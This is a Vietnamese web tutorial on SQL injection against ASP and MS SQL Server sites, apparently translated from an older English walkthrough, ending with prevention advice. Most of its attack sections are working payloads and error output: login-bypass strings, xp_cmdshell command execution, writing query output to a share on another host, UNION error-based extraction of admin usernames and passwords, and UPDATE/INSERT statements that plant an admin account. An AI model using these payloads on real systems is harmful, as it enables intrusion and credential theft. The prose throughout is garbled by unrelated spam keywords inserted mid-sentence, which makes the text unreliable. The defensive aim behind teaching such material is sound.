SQL Injection là gì? Cách phòng chống tấn công SQL Injection

SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL

SQL Injection không còn là khái niệm hỗ trợ quá mới full crack , mới nhất nhưng nó hỗ trợ vẫn là một trong như thế nào những kiểu tấn công mạng ứng dụng khá phổ biến giả mạo . Bài viết này gồm 12 mục tốt nhất , đi từ khái niệm nguyên nhân , lừa đảo các bước diễn ra SQL Injection hỗ trợ với một ví dụ minh họa (trang web kiểm tra được dùng làm ví dụ chỉ là minh họa cập nhật , không có thực) đến cách phòng chống tấn công SQL Injection đăng ký vay để bạn đọc hiểu về cách thức tấn công này tổng hợp , từ đó có mới nhất những biện pháp phòng ngừa tốc độ , bảo vệ website công cụ và hệ thống trực tuyến của mình.

Lưu ý: Không thử tấn công website giảm giá , hệ thống giảm giá của cá nhân hỗ trợ , tổ chức khác bằng phương pháp này link down , tài khoản mọi hành vi ở đâu nhanh như vậy đều là vi phạm pháp luật Việt Nam kiểm tra . giả mạo Nếu bạn tìm thấy lỗ hổng bảo mật ở đâu tốt , hãy báo cho người quản trị website công cụ , hệ thống đó kiểm tra để họ khắc phục ở đâu tốt . Bài viết chỉ xóa tài khoản nhằm mục đích giúp bạn hiểu về kiểu tấn công SQL Injection danh sách và có mới nhất những biện pháp phòng tránh cho ứng dụng web ở đâu uy tín của mình.

Tìm hiểu về SQL Injection

  • 1

    nguyên nhân

    . SQL Injection là gì?

  • Bài labs SQL Injection
  • 2

    chi tiết

    . Các bước tiến hành SQL Injection

    • 2.1

      kỹ thuật

      . Tìm kiếm mục tiêu

    • 2.2

      đăng ký vay

      . Kiểm tra chỗ yếu

      tài khoản

      của trang web

    • 2.3

      mật khẩu

      . Tại sao ” or 1=1–

      cài đặt

      có thể vượt qua phần kiểm tra đăng nhập?

    • 2.4

      full crack

      . Thi hành lệnh từ xa bằng SQL Injection

    • 2.5

      dữ liệu

      . Nhận output

      tốc độ

      của SQL query

    • 2.6

      như thế nào

      . Nhận dữ liệu qua “database using ODBC error message”

    • 2.7

      kinh nghiệm

      . Xác định tên

      ở đâu uy tín

      của

      miễn phí

      các column trong table

    • 2.8

      hỗ trợ

      . Thu thập

      giá rẻ

      các dữ liệu quan trọng

    • 2.9

      tốt nhất

      . Nhận

      nhanh nhất

      các numeric string

    • 2.10

      lừa đảo

      . Thay đổi dữ liệu (Update/Insert)

      ứng dụng

      của CSDL

  • 3

    tổng hợp

    . Ngăn chặn SQL Injection

    • Ngăn chặn SQL Injection trong ASP.NET
  • 4

    hỗ trợ

    . Tài liệu thao khảo

1

nạp tiền

. SQL Injection là gì?

SQL Injection là một trong tổng hợp những kiểu hack web bằng cách inject xóa tài khoản các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí bản quyền , bạn tổng hợp có thể login cập nhật mà không cần username trên điện thoại và password tất toán , remote execution (thực thi từ xa) mới nhất , dump data tính năng và lấy root trên điện thoại của SQL server kinh nghiệm . Công cụ dùng dữ liệu để tấn công là một trình duyệt web bất kì an toàn , chẳng hạn như Internet Explorer chi tiết , Netscape nơi nào , Lynx miễn phí , …

Bài labs SQL Injection

Bạn nhanh nhất có thể hình dung toàn bộ tính năng quá trình tấn công bằng SQL Injection thông qua một bài labs về SQL injection đơn giản tất toán dưới đây giảm giá . Bài lab trực tuyến sẽ đưa ra ví dụ về một ứng dụng có lỗ hổng kinh nghiệm để sử dụng SQL Injection tự động , bạn chỉ cần làm theo nạp tiền các bước trong hướng dẫn mới nhất để tiến hành kiểu tấn công này.

Sau khi thực hiện bài labs lừa đảo , bạn quản lý đã có chi tiết những hình dung cơ bản về SQL Injection chi tiết , công cụ nhưng nguyên nhân nếu muốn hiểu rõ giảm giá và chi tiết hơn như thế nào , bạn hãy đọc danh sách những phân tích cụ thể tất toán tiếp theo miễn phí nhé.

2

kiểm tra

. Các bước tiến hành SQL Injection

2.1

lừa đảo

. Tìm kiếm mục tiêu

Có thể tìm lấy liền các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng tối ưu , chẳng hạn như kích hoạt các trang login cập nhật , search lừa đảo , feedback quảng cáo , …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua tổng hợp các field ẩn danh sách , phải xem mã HTML mới thấy rõ link down . Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

2.2

tính năng

. Kiểm tra chỗ yếu

hay nhất

của trang web

Thử submit tăng tốc các field username download , password miễn phí hoặc field id ở đâu nhanh , . bản quyền . bằng hi” or 1=1–

Login: hi" or 1=1--
Password: hi" or 1=1--
http://yoursite.com/index.asp?id=hi" or 1=1--

hay nhất Nếu site chuyển tham số qua field ẩn giá rẻ , hãy download source HTML tính năng , lưu trên đĩa cứng tốc độ và thay đổi lại URL cho phù hợp bản quyền . Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi" or 1=1--">
</FORM>

an toàn Nếu thành công nhanh nhất , tổng hợp thì xóa tài khoản có thể login vào quảng cáo mà không cần phải biết username trực tuyến và password

2.3

ở đâu tốt

. Tại sao ” or 1=1–

full crack

có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác tốc độ với URL lấy liền như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên khóa chặn , biến “category” mật khẩu được gán giá trị là “food” an toàn . Mã ASP download của trang này hướng dẫn có thể ở đâu uy tín như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

v_cat ứng dụng sẽ chứa giá trị tăng tốc của biến request(“category”) là “food” download và câu lệnh SQL nhanh nhất tiếp theo bản quyền sẽ là:

SELECT * FROM product WHERE PCategory="food"

Dòng query trên mẹo vặt sẽ trả về một tập resultset chứa một như thế nào hoặc nhiều dòng phù hợp mới nhất với điều kiện WHERE PCategory=”food”

kiểm tra Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food” or 1=1– ở đâu tốt , biến v_cat như thế nào sẽ chứa giá trị “food” or 1=1– ” kỹ thuật và dòng lệnh SQL query tính năng sẽ là:

SELECT * FROM product WHERE PCategory="food" or 1=1--"

Dòng query trên qua web sẽ select thanh toán mọi thứ trong bảng product bất chấp giá trị quản lý của trường PCategory có bằng “food” hay không miễn phí . Hai dấu gạch ngang (–) chỉ cho MS SQL server biết download đã hết dòng query chia sẻ , link down mọi thứ còn lại sau “–” mật khẩu sẽ bị bỏ qua kinh nghiệm . Đối kỹ thuật với MySQL tối ưu , hãy thay “–” thành “#”

Ngoài ra cập nhật , bản quyền cũng tài khoản có thể thử cách khác bằng cách submit ” or “a”=”a hay nhất . Dòng SQL query dữ liệu bây giờ như thế nào sẽ là:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

Một số loại dữ liệu khác mẹo vặt mà tài khoản cũng nên thử submit dịch vụ để biết xem trang web có gặp lỗi hay không:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

2.4

nhanh nhất

. Thi hành lệnh từ xa bằng SQL Injection

giả mạo Nếu cài đặt tốc độ với chế độ mặc định dịch vụ mà không có điều chỉnh gì download , MS SQL Server tổng hợp sẽ chạy ở mức SYSTEM địa chỉ , tương đương download với mức truy cập Administrator trên Windows tự động . Có thể dùng store procedure xp_cmdshell trong CSDL master mới nhất để thi hành lệnh từ xa:

"; exec master..xp_cmdshell "ping 10.10.1.2"--

Hãy thử dùng dấu nháy đôi (“) mật khẩu nếu dấu nháy đơn (“) không làm việc.

Dấu chấm phẩy ( hỗ trợ sẽ kết thúc dòng SQL query xóa tài khoản hiện tại khóa chặn và cho phép thi hành một SQL command mới trực tuyến . Để kiểm tra xem lệnh trên có danh sách được thi hành hay không qua app , tự động có thể listen tốt nhất các ICMP packet từ 10.10.1.2 bằng tcpdump ứng dụng như sau:

#tcpdump icmp

sửa lỗi Nếu nhận kỹ thuật được ping request từ 10.10.1.2 nghĩa là lệnh tăng tốc đã địa chỉ được thi hành.

2.5

đăng ký vay

. Nhận output

bản quyền

của SQL query

Có thể dùng sp_makewebtask mới nhất để ghi kích hoạt các output lấy liền của SQL query ra một file HTML

"; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html"

tốt nhất

, "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder “share” phải vô hiệu hóa được share cho Everyone trước.

2.6

tốc độ

. Nhận dữ liệu qua “database using ODBC error message”

Các thông báo lỗi mật khẩu của MS SQL Server thường đưa cho bạn tăng tốc những thông tin quan trọng như thế nào . Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10 full crack , cập nhật bây giờ chúng ta thử hợp nhất integer “10” ứng dụng với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES công cụ của hệ thống SQL Server chứa thông tin về dữ liệu tất cả tốc độ các bảng (table) có trên server kỹ thuật . Trường TABLE_NAME chứa tên mẹo vặt của mỗi bảng trong CSDL download . Chúng ta chọn nó bản quyền bởi vì chúng ta biết rằng nó luôn tồn tại tài khoản . Query phải làm sao của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này tốc độ sẽ trả về tên tải về của bảng đầu tiên trong CSDL

nguyên nhân Khi chúng ta kết hợp chuỗi này hướng dẫn với số integer 10 qua statement UNION tất toán , MS SQL Server phải làm sao sẽ cố thử chuyển một string (nvarchar) thành một số integer sửa lỗi . Điều này qua app sẽ gặp lỗi hay nhất nếu như không chuyển địa chỉ được nvarchar sang int tự động , server ứng dụng sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
"table1" to a column of data type int.
/index.asp

danh sách

, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer hướng dẫn nhưng không sửa lỗi được cập nhật , “table1” qua web . Đây đăng ký vay cũng chính là tên miễn phí của bảng đầu tiên trong CSDL kinh nghiệm mà chúng ta đang muốn có.

Để lấy tên mật khẩu của tên qua app của bảng cài đặt tiếp theo giả mạo , như thế nào có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Cũng địa chỉ có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE khóa chặn của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

nơi nào Khi đó thông báo lỗi download của SQL Server nơi nào có thể là:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "admin_login" to a column of data type int.

/index.asp

kỹ thuật

, line 5

Mẫu so sánh “%25login%25” kiểm tra sẽ tương đương tăng tốc với %login% trong SQL Server phải làm sao . Như thấy trong thông báo lỗi trên tất toán , chúng ta qua mạng có thể xác định bản quyền được tên giảm giá của một table quan trọng là “admin_login“.

2.7

dữ liệu

. Xác định tên

hướng dẫn

của

hay nhất

các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên ứng dụng của kiểm tra tất cả dịch vụ các column trong table kiểm tra . Có thể khai thác khóa chặn như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"--

quảng cáo Khi đó thông báo lỗi an toàn của SQL Server mới nhất có thể link down như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "login_id" to a column of data type int.

/index.asp

trên điện thoại

, line 5

công cụ Như vậy tên chia sẻ của column đầu tiên là “login_id” nguyên nhân . Để lấy tên tốc độ của đăng ký vay các column vô hiệu hóa tiếp theo tất toán , tốt nhất có thể dùng mệnh đề logic NOT IN () download như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")--

qua web Khi đó thông báo lỗi ở đâu tốt của SQL Server tổng hợp có thể như thế nào như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "login_name" to a column of data type int.

/index.asp

phải làm sao

, line 5

Làm tương tự như trên tải về , tốt nhất có thể lấy ở đâu nhanh được tên lừa đảo của ở đâu tốt các column còn lại như “password” lấy liền , “details” an toàn . ứng dụng Khi đó ta lấy tên qua app của lừa đảo các column này qua khóa chặn các thông báo lỗi công cụ của SQL Server qua app , như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

ứng dụng Khi đó thông báo lỗi tính năng của SQL Server chia sẻ có thể sử dụng như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp

sử dụng

, line 5

2.8

nơi nào

. Thu thập

danh sách

các dữ liệu quan trọng

Chúng ta giá rẻ đã xác định tốt nhất được nhanh nhất các tên nguyên nhân của chi tiết các table như thế nào và column quan trọng hỗ trợ . Chúng ta chi tiết sẽ thu thập tự động các thông tin quan trọng từ cập nhật các table đăng ký vay và column này.

Có thể lấy login_name đầu tiên trong table “admin_login” link down như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

địa chỉ Khi đó thông báo lỗi lừa đảo của SQL Server qua mạng có thể địa chỉ như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "neo" to a column of data type int.

/index.asp

tối ưu

, line 5

Dễ dàng nhận ra sửa lỗi được admin user đầu tiên có login_name là “neo” công cụ . Hãy thử lấy password trên điện thoại của “neo” kiểm tra như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

link down Khi đó thông báo lỗi download của SQL Server nơi nào có thể an toàn như sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "m4trix" to a column of data type int.

/index.asp

tự động

, line 5

Và qua mạng bây giờ là nạp tiền đã danh sách có thể login vào như thế nào với username là “neo” ứng dụng và password là “m4trix“.

2.9

hỗ trợ

. Nhận

quảng cáo

các numeric string

Có một hạn chế nhỏ đối mật khẩu với phương pháp trên nơi nào . Chúng ta không thể nhận miễn phí được quản lý các error message đăng ký vay nếu server tự động có thể chuyển text đúng ở dạng số (text chỉ chứa qua mạng các kí tự số từ 0 đến 9) vô hiệu hóa . Giả sử như password dịch vụ của “trinity” là “31173” mật khẩu . Vậy ở đâu nhanh nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Thì link down khi đó chỉ nhận trực tuyến được thông báo lỗi “Page Not Found” an toàn . Lý do kích hoạt bởi vì server nhanh nhất có thể chuyển passoword “31173” sang dạng số trước khi UNION kích hoạt với integer 10 tối ưu . Để giải quyết vấn đề này qua web , chúng ta lấy liền có thể thêm một vài kí tự alphabet vào numeric string này hay nhất để làm thất bại sự chuyển đổi từ text sang số tốt nhất của server cài đặt . Dòng query mới giảm giá như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int

kích hoạt

, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Chúng ta dùng dấu cộng (+) kỹ thuật để nối thêm text vào password (ASCII code thanh toán của “+” là 0x2b) chi tiết . Chúng ta thêm chuỗi “(space)morpheus” vào cuối password miễn phí để tạo ra một string mới không phải numeric string là “31173 morpheus” lừa đảo . miễn phí Khi hàm convert() nạp tiền được gọi tổng hợp để chuyển “31173 morpheus” sang integer mẹo vặt , SQL server nơi nào sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.

/index.asp

tăng tốc

, line 5

Và nghĩa là giá rẻ bây giờ ta như thế nào cũng tối ưu có thể login vào mật khẩu với username “trinity” quản lý và password là “31173

2.10

tốc độ

. Thay đổi dữ liệu (Update/Insert)

bản quyền

của CSDL

lừa đảo Khi qua mạng đã có tên đăng ký vay của tăng tốc tất cả miễn phí các column trong table như thế nào , như thế nào có thể sử dụng lệnh UPDATE phải làm sao hoặc INSERT chi tiết để sửa đổi/tạo mới một record vào table này kiểm tra .

Để thay đổi password ở đâu tốt của “neo” sử dụng , công cụ có thể làm kỹ thuật như sau:

http://yoursite.com/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo"--

Hoặc miễn phí nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO "admin_login" ("login_id"

danh sách

, "login_name"

đăng ký vay

, "password"

như thế nào

, "details") VALUES (666,"neo2","newpas5","NA")--

Và giả mạo bây giờ khóa chặn có thể login vào tự động với username “neo2” qua mạng và password là “newpas5

3

phải làm sao

. Ngăn chặn SQL Injection

Các tổ chức tài khoản có thể tập trung vào nạp tiền những bước sử dụng sau đây quảng cáo để bảo vệ mình khỏi download những cuộc tấn công SQL Injection:

  • Không bao giờ

    mật khẩu

    được tin tưởng

    miễn phí

    những input người dùng nhập vào: Dữ liệu luôn phải

    dữ liệu

    được xác thực trước khi sử dụng trong

    đăng ký vay

    các câu lệnh SQL.

  • Các thủ tục

    ở đâu nhanh

    được lưu trữ:

    nguyên nhân

    Những thủ tục này

    phải làm sao

    có thể trừu tượng hóa

    tối ưu

    các lệnh SQL

    khóa chặn

    và xem xét toàn bộ input như

    bản quyền

    các tham số

    qua app

    . Nhờ đó

    hỗ trợ

    , nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.

  • Các lệnh

    tốt nhất

    được chuẩn bị sẵn: Điều này

    qua app

    bao gồm việc tạo truy vấn SQL như hành động đầu tiên

    tối ưu

    ở đâu uy tín

    sau đó xử lý toàn bộ dữ liệu

    xóa tài khoản

    được gửi như

    kiểm tra

    những tham số.

  • tổng hợp

    Những cụm từ thông dụng:

    an toàn

    Những cụm từ này

    tính năng

    được sử dụng

    ở đâu uy tín

    để phát hiện mã độc

    sửa lỗi

    và loại bỏ nó trước khi câu lệnh SQL

    chia sẻ

    được thực hiện.

  • Thông báo lỗi đúng: Thông báo lỗi phải

    khóa chặn

    tuyệt đối tránh tiết lộ

    full crack

    những thông tin/chi tiết nhạy cảm

    vô hiệu hóa

    và vị trí xảy ra lỗi trên thông báo lỗi.

  • Giới hạn quyền truy cập

    ở đâu nhanh

    của người dùng đối

    ứng dụng

    với cơ sở dữ liệu: Chỉ

    kiểm tra

    những tài khoản có quyền truy cập theo yêu cầu mới

    miễn phí

    được kết nối

    phải làm sao

    với cơ sở dữ liệu

    bản quyền

    . Điều này

    đăng ký vay

    có thể giúp giảm thiểu

    mẹo vặt

    những lệnh SQL

    link down

    được thực thi tự động trên server.

  • Hãy loại bỏ

    hỗ trợ

    các kí tự meta như “”https://quantrimang.com/;

    kinh nghiệm

    hay nhất

    các kí tự extend như NULL

    kỹ thuật

    , CR

    xóa tài khoản

    , LF

    ở đâu uy tín

    , ..

    mẹo vặt

    . trong

    qua app

    các string nhận

    qua web

    được từ:

    • input do người dùng đệ trình
    • bản quyền

      các tham số từ URL

    • qua web

      các giá trị từ cookie

  • Đối

    nơi nào

    với

    tốt nhất

    các giá trị numeric

    tăng tốc

    , hãy chuyển nó sang integer trước khi query SQL

    qua app

    ,

    giảm giá

    hoặc dùng ISNUMERIC

    tốc độ

    để chắc chắn nó là một số integer.

  • Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.
  • Xóa

    kích hoạt

    các stored procedure trong database master

    bản quyền

    mà không dùng như:

    • xp_cmdshell
    • xp_startmail
    • xp_sendmail
    • sp_makewebtask

Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection hỗ trợ được trình bày ở phần 12 lừa đảo đã bao quát đủ phương pháp sử dụng , qua app nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng quảng cáo các Parameters khi làm việc tốt nhất với object SqlCommand ( qua mạng hoặc OleDbCommand) chứ không sử dụng qua mạng các câu lệnh SQL trực tiếp qua mạng . cập nhật Khi đó .NET tối ưu sẽ tự động validate kiểu dữ liệu vô hiệu hóa , nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra quảng cáo , ở đâu nhanh cũng cần kiểm soát tốt kích hoạt các thông báo lỗi như thế nào . Và mặc định trong ASP.NET là thông báo lỗi quảng cáo sẽ không hay nhất được thông báo chi tiết khi không chạy trên localhost.

4

chia sẻ

. Tài liệu thao khảo

1.How I hacked PacketStorm (Rain Forest Puppy) 
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
2.Great article on gathering information from ODBC error messages
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
3.A good summary of SQL Injection on various SQL Server on 
http://www.owasp.org/asac/input_validation/sql.shtml
4.Senseport"s article on reading SQL Injection 
http://www.sensepost.com/misc/SQLinsertion.htm
5.Khác:
http://www.digitaloffense.net/warga.../IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

Sưu tầm trên Internet từ bài an toàn được dịch từ bài viết gốc “SQL Injection Walkthrough” ở đâu nhanh của xfocus.net

4.9/5 (36 votes)